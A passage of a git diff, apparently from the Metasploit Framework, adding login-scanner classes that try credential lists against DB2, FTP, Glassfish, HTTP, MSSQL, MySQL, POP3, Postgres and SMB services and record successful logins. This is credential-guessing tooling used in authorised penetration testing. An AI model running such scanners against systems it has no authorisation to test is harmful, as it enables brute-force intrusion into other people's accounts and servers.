supplied + # are all valid. + # @return [void] + def validate_cred_details + unless cred_details.respond_to? :each + errors.add(:cred_details, "must respond to :each") + end + end + + end + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/db2.rb b/lib/metasploit/framework/login_scanner/db2.rb new file mode 100644 index 0000000000..7406ce21b4 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/db2.rb @@ -0,0 +1,139 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with DB2 Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class DB2 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 50000 + DEFAULT_REALM = 'toolsdb' + LIKELY_PORTS = [ DEFAULT_PORT ] + # @todo XXX + LIKELY_SERVICE_NAMES = [ ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::DB2_DATABASE + + # @see Base#attempt_login + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + probe_data = send_probe(credential.realm) + + if probe_data.empty? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if authenticate?(credential) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + end + rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::Proto::DRDA::RespError,::Timeout::Error => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e.message + }) + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'db2' + result + end + + private + # This method takes the credential and actually attempts the authentication + # @param credential [Credential] The Credential object to authenticate with. + # @return [Boolean] Whether the authentication was successful + def authenticate?(credential) + # Send the login packet and get a response packet back + login_packet = Rex::Proto::DRDA::Utils.client_auth(:dbname => credential.realm, + :dbuser => credential.public, + :dbpass => credential.private + ) + sock.put login_packet + response = sock.get_once + if valid_response?(response) + if successful_login?(response) + true + else + false + end + else + false + end + end + + # This method opens a socket to the target DB2 server. + # It then sends a client probe on that socket to get information + # back on the server. + # @param database_name [String] The name of the database to probe + # @return [Hash] A hash containing the server information from the probe reply + def send_probe(database_name) + disconnect if self.sock + connect + + probe_packet = Rex::Proto::DRDA::Utils.client_probe(database_name) + sock.put probe_packet + response = sock.get_once + + response_data = {} + if valid_response?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + response_data = Rex::Proto::DRDA::Utils.server_packet_info(packet) + end + response_data + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + self.ssl = false if self.ssl.nil? + end + + # This method takes a response packet and checks to see + # if the authentication was actually successful. + # + # @param response [String] The unprocessed response packet + # @return [Boolean] Whether the authentication was successful + def successful_login?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + packet_info = Rex::Proto::DRDA::Utils.server_packet_info(packet) + if packet_info[:db_login_success] + true + else + false + end + end + + # This method provides a simple test on whether the response + # packet was valid. + # + # @param response [String] The response to examine from the socket + # @return [Boolean] Whether the response is valid + def valid_response?(response) + response && response.length > 0 + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ftp.rb b/lib/metasploit/framework/login_scanner/ftp.rb new file mode 100644 index 0000000000..14ac215f11 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ftp.rb @@ -0,0 +1,80 @@ +require 'metasploit/framework/ftp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with FTP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class FTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Ftp::Client + + DEFAULT_PORT = 21 + LIKELY_PORTS = [ DEFAULT_PORT, 2121 ] + LIKELY_SERVICE_NAMES = [ 'ftp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute ftp_timeout + # @return [Fixnum] The timeout in seconds to wait for a response to an FTP command + attr_accessor :ftp_timeout + + validates :ftp_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + + + # (see Base#attempt_login) + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + success = connect_login(credential.public, credential.private) + rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + success = false + end + + + if success + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + elsif !(result_options.has_key? :status) + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'ftp' + result + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + self.ftp_timeout ||= 16 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb new file mode 100644 index 0000000000..7a956dbe61 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -0,0 +1,167 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # I don't want to raise RuntimeError to be able to abort login + class GlassfishError < StandardError + end + + # The Glassfish HTTP LoginScanner class provides methods to do login routines + # for Glassfish 2, 3 and 4. + class Glassfish < HTTP + + DEFAULT_PORT = 4848 + PRIVATE_TYPES = [ :password ] + + # @!attribute version + # @return [String] Glassfish version + attr_accessor :version + + # @!attribute jsession + # @return [String] Cookie session + attr_accessor :jsession + + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Found a cookie? Set it. We're going to need it. + if res && res.get_cookies =~ /JSESSIONID=(\w*);/i + self.jsession = $1 + end + + res + end + + + # As of Sep 2014, if Secure Admin is disabled, it simply means the admin isn't allowed + # to login remotely. However, the authentication will still run and hint whether the + # password is correct or not. + # + # @param res [Rex::Proto::Http::Response] The HTTP auth response + # @return [boolean] True if disabled, otherwise false + def is_secure_admin_disabled?(res) + return (res.body =~ /Secure Admin must be enabled/i) ? true : false + end + + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_login(credential) + data = "j_username=#{Rex::Text.uri_encode(credential.public)}&" + data << "j_password=#{Rex::Text.uri_encode(credential.private)}&" + data << 'loginButton=Login' + + opts = { + 'uri' => '/j_security_check', + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "JSESSIONID=#{self.jsession}", + } + } + + send_request(opts) + end + + + # Tries to login to Glassfish version 2 + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_glassfish_2(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/applications/upload.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + res = send_request(opts) + p = /Deploy Enterprise Applications\/Modules/ + if (res && res.code.to_i == 200 && res.body.match(p) != nil) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + + # Tries to login to Glassfish version 3 or 4 (as of now it's the latest) + # + # @param (see #try_glassfish_2) + # @return (see #try_glassfish_2) + def try_glassfish_3(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/common/applications/uploadFrame.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + res = send_request(opts) + + p = /<title>Deploy Applications or Modules/ + if (res && res.code.to_i == 200 && res.body.match(p) != nil) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + elsif res && is_secure_admin_disabled?(res) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + elsif res && res.code == 400 + raise GlassfishError, "400: Bad HTTP request from try_login" + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + case self.version + when /^[29]\.x$/ + status = try_glassfish_2(credential) + result_opts.merge!(status: status[:status], proof:status[:proof]) + when /^[34]\./ + status = try_glassfish_3(credential) + result_opts.merge!(status: status[:status], proof:status[:proof]) + else + raise GlassfishError, "Glassfish version '#{self.version}' not supported" + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..45c661d0de --- /dev/null +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,132 @@ +require 'rex/proto/http' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # + # HTTP-specific login scanner. + # + class HTTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + + DEFAULT_REALM = nil + DEFAULT_PORT = 80 + DEFAULT_SSL_PORT = 443 + LIKELY_PORTS = [ 80, 443, 8000, 8080 ] + LIKELY_SERVICE_NAMES = [ 'http', 'https' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute uri + # @return [String] The path and query string on the server to + # authenticate to. + attr_accessor :uri + + # @!attribute uri + # @return [String] HTTP method, e.g. "GET", "POST" + attr_accessor :method + + validates :uri, presence: true, length: { minimum: 1 } + + validates :method, + presence: true, + length: { minimum: 1 } + + # Attempt a single login with a single credential against the target. + # + # @param credential [Credential] The credential object to attempt to + # login with. + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + ssl = false if ssl.nil? + + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, + nil, credential.public, credential.private + ) + if credential.realm + http_client.set_config('domain' => credential.realm) + end + + begin + http_client.connect + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method + ) + + # First try to connect without logging in to make sure this + # resource requires authentication. We use #_send_recv for + # that instead of #send_recv. + response = http_client._send_recv(request) + if response && response.code == 401 && response.headers['WWW-Authenticate'] + # Now send the creds + response = http_client.send_auth( + response, request.opts, connection_timeout, true + ) + if response && response.code == 200 + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) + end + else + result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + ensure + http_client.close + end + + Result.new(result_opts) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 20 + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.uri = '/' if self.uri.blank? + self.method = 'GET' if self.method.blank? + + # Note that this doesn't cover the case where ssl is unset and + # port is something other than a default. In that situtation, + # we don't know what the user has in mind so we have to trust + # that they're going to do something sane. + if !(self.ssl) && self.port.nil? + self.port = self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl && self.port.nil? + self.port = self.class::DEFAULT_SSL_PORT + elsif self.ssl.nil? && self.port == self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl.nil? && self.port == self.class::DEFAULT_SSL_PORT + self.ssl = true + end + + nil + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/invalid.rb b/lib/metasploit/framework/login_scanner/invalid.rb new file mode 100644 index 0000000000..73799a0479 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/invalid.rb @@ -0,0 +1,22 @@ +module Metasploit + module Framework + module LoginScanner + + # This class is the generic Exception raised by LoginScanners when + # they fail validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class Invalid < StandardError + + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb new file mode 100644 index 0000000000..d7b5aa499e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -0,0 +1,78 @@ +require 'metasploit/framework/mssql/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Microsoft SQL Servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results + class MSSQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + include Metasploit::Framework::MSSQL::Client + + DEFAULT_PORT = 1433 + DEFAULT_REALM = 'WORKSTATION' + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ] + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase' ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute windows_authentication + # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. + attr_accessor :windows_authentication + + validates :windows_authentication, + inclusion: { in: [true, false] } + + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mssql' + } + + begin + if mssql_login(credential.public, credential.private, '', credential.realm) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + rescue ::Rex::ConnectionError + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + # Don't use ||= with booleans + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.use_lmkey = false if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + self.windows_authentication = false if self.windows_authentication.nil? + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mysql.rb b/lib/metasploit/framework/login_scanner/mysql.rb new file mode 100644 index 0000000000..d129768974 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mysql.rb @@ -0,0 +1,100 @@ +require 'metasploit/framework/tcp/client' +require 'rbmysql' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with MySQL Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class MySQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 3306 + LIKELY_PORTS = [ 3306 ] + LIKELY_SERVICE_NAMES = [ 'mysql' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mysql' + } + + # manage our behind the scenes socket. Close any existing one and open a new one + disconnect if self.sock + connect + + begin + ::RbMysql.connect({ + :host => host, + :port => port, + :read_timeout => 300, + :write_timeout => 300, + :socket => sock, + :user => credential.public, + :password => credential.private, + :db => '' + }) + rescue Errno::ECONNREFUSED + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection refused" + }) + rescue RbMysql::ClientError + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection timeout" + }) + rescue Errno::ETIMEDOUT + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Operation Timed out" + }) + rescue RbMysql::HostNotPrivileged + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Unable to login from this host due to policy" + }) + rescue RbMysql::AccessDeniedError + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Access Denied" + }) + rescue RbMysql::HostIsBlocked + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Host blocked" + }) + end + + unless result_options[:status] + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ntlm.rb b/lib/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..73cdfef6dc --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,61 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This Concern provides the basic accessors and validations + # for protocols that require the use of NTLM for Authentication. + module NTLM + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute send_lm + # @return [Boolean] Whether to always send the LANMAN response(except if using NTLM2 Session) + attr_accessor :send_lm + + # @!attribute send_ntlm + # @return [Boolean] Whether to use NTLM responses + attr_accessor :send_ntlm + + # @!attribute send_spn + # @return [Boolean] Whether to support SPN for newer Windows OSes + attr_accessor :send_spn + + # @!attribute use_lmkey + # @return [Boolean] Whether to negotiate with a LANMAN key + attr_accessor :use_lmkey + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLM2 session + attr_accessor :use_ntlm2_session + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLMv2 instead of NTLM2 Session + attr_accessor :use_ntlmv2 + + validates :send_lm, + inclusion: { in: [true, false] } + + validates :send_ntlm, + inclusion: { in: [true, false] } + + validates :send_spn, + inclusion: { in: [true, false] } + + validates :use_lmkey, + inclusion: { in: [true, false] } + + validates :use_ntlm2_session, + inclusion: { in: [true, false] } + + validates :use_ntlmv2, + inclusion: { in: [true, false] } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb new file mode 100644 index 0000000000..0cc1681175 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -0,0 +1,91 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with POP3. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class POP3 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 110 + LIKELY_PORTS = [ 110, 995 ] + LIKELY_SERVICE_NAMES = [ 'pop3', 'pop3s' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + host: host, + port: port, + protocol: 'tcp', + service_name: 'pop3' + } + + disconnect if self.sock + + begin + connect + select([sock],nil,nil,0.4) + + # Check to see if we recieved an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + # Dovecot has a failed-auth penalty system that maxes at + # sleeping for 15 seconds before sending responses to the + # PASS command, so bump the timeout to 16. + result_options[:proof] = sock.get_once(-1, 16) + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # if the pass gives an OK, were good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/postgres.rb b/lib/metasploit/framework/login_scanner/postgres.rb new file mode 100644 index 0000000000..0ecfc06e1f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/postgres.rb @@ -0,0 +1,83 @@ +require 'metasploit/framework/login_scanner/base' +require 'postgres_msf' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with PostgreSQL database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Postgres + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 5432 + DEFAULT_REALM = 'template1' + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'postgres' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'postgres' + } + + db_name = credential.realm || 'template1' + + if ::Rex::Socket.is_ipv6?(host) + uri = "tcp://[#{host}]:#{port}" + else + uri = "tcp://#{host}:#{port}" + end + + pg_conn = nil + + begin + pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri) + rescue RuntimeError => e + case e.to_s.split("\t")[1] + when "C3D000" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "C3D000, Creds were good but database was bad" + }) + when "C28000", "C28P01" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Invalid username or password" + }) + else + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: e.message + }) + end + end + + if pg_conn + pg_conn.close + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/result.rb b/lib/metasploit/framework/login_scanner/result.rb new file mode 100644 index 0000000000..f537f65eeb --- /dev/null +++ b/lib/metasploit/framework/login_scanner/result.rb @@ -0,0 +1,81 @@ +module Metasploit + module Framework + module LoginScanner + + # The Result class provides a standard structure in which + # LoginScanners can return the result of a login attempt + + class Result + include ActiveModel::Validations + + # @!attribute access_level + # @return [String] the access level gained + attr_accessor :access_level + # @!attribute credential + # @return [Credential] the Credential object the result is for + attr_accessor :credential + # @!attribute host + # @return [String] the addess of the target host for this result + attr_accessor :host + # @!attribute port + # @return [Fixnum] the port number of the service for this result + attr_accessor :port + # @!attribute proof + # @return [String,nil] the proof that the login was successful + attr_accessor :proof + # @!attribute protocol + # @return [String] the transport protocol used for this result (tcp/udp) + attr_accessor :protocol + # @!attribute service_name + # @return [String] the name to give the service for this result + attr_accessor :service_name + # @!attribute status + # @return [String] the status of the attempt. Should be a member of `Metasploit::Model::Login::Status::ALL` + attr_accessor :status + + validates :status, + inclusion: { + in: Metasploit::Model::Login::Status::ALL + } + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + def inspect + "#<#{self.class} #{credential.public}:#{credential.private}@#{credential.realm} #{status} >" + end + + def success? + status == Metasploit::Model::Login::Status::SUCCESSFUL + end + + # This method takes all the data inside the Result object + # and spits out a hash compatible with #create_credential + # and #create_credential_login. + # + # @return [Hash] the hash to use with #create_credential and #create_credential_login + def to_h + result_hash = credential.to_h + result_hash.merge!( + access_level: access_level, + address: host, + last_attempted_at: DateTime.now, + origin_type: :service, + port: port, + proof: proof, + protocol: protocol, + service_name: service_name, + status: status + ) + result_hash.delete_if { |k,v| v.nil? } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/rex_socket.rb b/lib/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..da92873a02 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,64 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the common mixin behaviour for + # LoginScanner objects that rely on Rex Sockets for their + # underlying communication. + module RexSocket + extend ActiveSupport::Concern + + included do + + # @!attribute max_send_size + # @return [Fixnum] The max size of the data to encapsulate in a single packet + attr_accessor :max_send_size + # @!attribute send_delay + # @return [Fixnum] The delay between sending packets + attr_accessor :send_delay + # @!attribute ssl + # @return [Boolean] Whether the socket should use ssl + attr_accessor :ssl + # @!attribute ssl_version + # @return [String] The version of SSL to implement + attr_accessor :ssl_version + + validates :max_send_size, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :send_delay, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + + private + + def chost + '0.0.0.0' + end + + def cport + 0 + end + + def rhost + host + end + + def rport + port + end + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb new file mode 100644 index 0000000000..43a05955aa --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -0,0 +1,270 @@ +require 'rex/proto/smb' +require 'metasploit/framework' +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Server Messaging + # Block protocol. + class SMB + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + + # Constants to be used in {Result#access_level} + module AccessLevels + # Administrative access. For SMB, this is defined as being + # able to successfully Tree Connect to the `ADMIN$` share. + # This definition is not without its problems, but suffices to + # conclude that such a user will most likely be able to use + # psexec. + ADMINISTRATOR = "Administrator" + # Guest access means our creds were accepted but the logon + # session is not associated with a real user account. + GUEST = "Guest" + end + + CAN_GET_SESSION = true + DEFAULT_REALM = 'WORKSTATION' + LIKELY_PORTS = [ 139, 445 ] + LIKELY_SERVICE_NAMES = [ "smb" ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + module StatusCodes + CORRECT_CREDENTIAL_STATUS_CODES = [ + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + ].freeze.map(&:freeze) + end + + + # @!attribute simple + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + + attr_accessor :smb_chunk_size + attr_accessor :smb_name + attr_accessor :smb_native_lm + attr_accessor :smb_native_os + attr_accessor :smb_obscure_trans_pipe_level + attr_accessor :smb_pad_data_level + attr_accessor :smb_pad_file_level + attr_accessor :smb_pipe_evasion + + 